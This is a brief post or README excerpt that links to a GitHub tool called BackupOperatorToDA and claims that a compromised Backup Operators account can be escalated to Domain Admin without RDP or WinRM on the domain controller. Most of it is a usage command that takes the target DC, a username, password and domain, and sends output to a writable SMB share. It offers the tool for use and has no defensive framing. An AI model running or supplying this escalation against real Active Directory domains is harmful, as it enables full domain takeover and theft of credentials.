Link: https://github.com/mpgn/BackupOperatorToDA

If you compromise an account member of the group Backup Operators you can become the Domain Admin without RDP or WinRM on the Domain Controller.

Usage:

BackupOperatorToDA.exe -t \\\\dc01.domain.local -u USER -p PASSWORD -d DOMAIN.LCOAL -o \\\\WRITABLEsmbSHARE\\Share